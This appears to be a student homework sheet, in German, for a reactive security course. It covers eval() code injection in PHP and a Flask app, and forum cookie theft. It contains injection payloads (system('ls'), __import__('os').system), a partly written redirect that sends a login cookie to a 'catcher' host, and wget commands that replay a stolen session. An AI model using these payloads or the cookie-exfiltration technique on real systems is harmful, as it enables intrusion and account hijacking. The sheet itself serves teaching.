Reaktive Sicherheit

Übungsblatt 6

Balduin Binder [s6babind@uni-bonn.de] Charlotte Mädler [s6chmaed@uni-bonn.de]
Bünyamin Sarikaya [s6busari@uni-bonn.de]

Aufgabe 1

(1)Dynamic Evolution Verwundbarkeit: der Angreifer kontrolliert eine Zeichenkette, die als PHP-Script-Code interpretiert wird.

In PHP gibt es die Funktion eval(), die benutzt wird um ein String zu evaluieren. Ein Angreifer würde jetzt teile oder den ganzen String maniuplieren um den String zu kontrollieren. Zum Beispiel:

```
<?php
$name='Charly';
$string=$_GET['arg'];
eval("\$name=\"$string\";");
?>
```

Wenn der Angreifer hier als Input für String 'noname; system("Is")' gibt, wird in der eval() Funktion Is aufgerufen und eine Liste der Dateien im Directory wird offengelegt. Unter umständen kann der Angreifer sensible Dateien sehen, löschen oder updaten.

(2) Das Schutzziel der Verfügbarkeit (Möchliches Löschen von Daten), der Vertraulichkeit (Sichten von sensiblen Daten) und der Integrität (Datenmanipulation) werden verletzt. Man könnte auch sagen, dass indirekt die Zurechenbarkeit verletzt wird (Aktion vom Opfer oder vom Angreifer ausgeführt?).

(3) Flask ist ein lightweight web application framework (eine Software, die für die Entwicklung von dynamischen Webseiten, Webanwendungen oder Webservices ausgelegt ist). Dieses Programm soll eine Rechenoperation ausführen bzw. Ausgeben, die vom Nutzer eingegeben wird (also ähnlich wie ein Taschenrechner). Der User gibt also seine Rechnung ein (in Python), drückt Submit und es wird ihm das Ergbnis ausgerechnet.

(4) In Flask gibt es die Dynamic Evolution Verwundbarkeit, da Flask unteranderem die Funktion eval() nutzt.

(5)Eval() wird benutzt um einen einzigen, dynamisch genereierten Python-Ausdruck zu evaluieren. Exec wird zum ausführen dynamisch generirten Python codes genutzt.

Eval kann also nur ein einziges Argument entgegen nehmen, exec ein code block (loops, class, def, etc.) Eval gibt einen Wert zurück, exec gibt immer None zurück. In python 3 ist exec eine Funktion, die keine Auswirkung auf den compilierten Bytecode der Funktion hat wo exec angewendet wird.

(6)_ import _('os').system('gedit')

Aufgabe 3 GET('data') kann als erweiterung zum übergeben von Daten genutzt werden. Hier bei werden diese in $cookiegespeichert$: "'$if(isset(_GET['data']))cookie =$_GET['data'] "' (Falls Cookie gesetzt, Daten übermitteln) Ein im Forum angemeldeter Nutzer hat die Möglichkeit in Beiträgen Code einzubetten, um Beispielsweise als angreifer zu versuchen die Einlogdaten anderer Nutzer rauszufinden. Hierfür müsste das login-cookie ausgelesen werden und als GET übermittelt werden (Redirect an Catcher-Virutal Host), Irgendwas mit location.replace("http://192.168.178.63/catcher?data= ????

um dann schließlich mit wget ausgelesen/verwendet werden:

```
wget --no-cookies --header "Cookie: sid=..." http://192.168.178.104/forum
```

Um ein Beitrag zu schreiben: `wget --no-cookies --header "Cookie: sid=..." --post- data "Text=Nachricht" http://192.168.178.104/forum/post.php`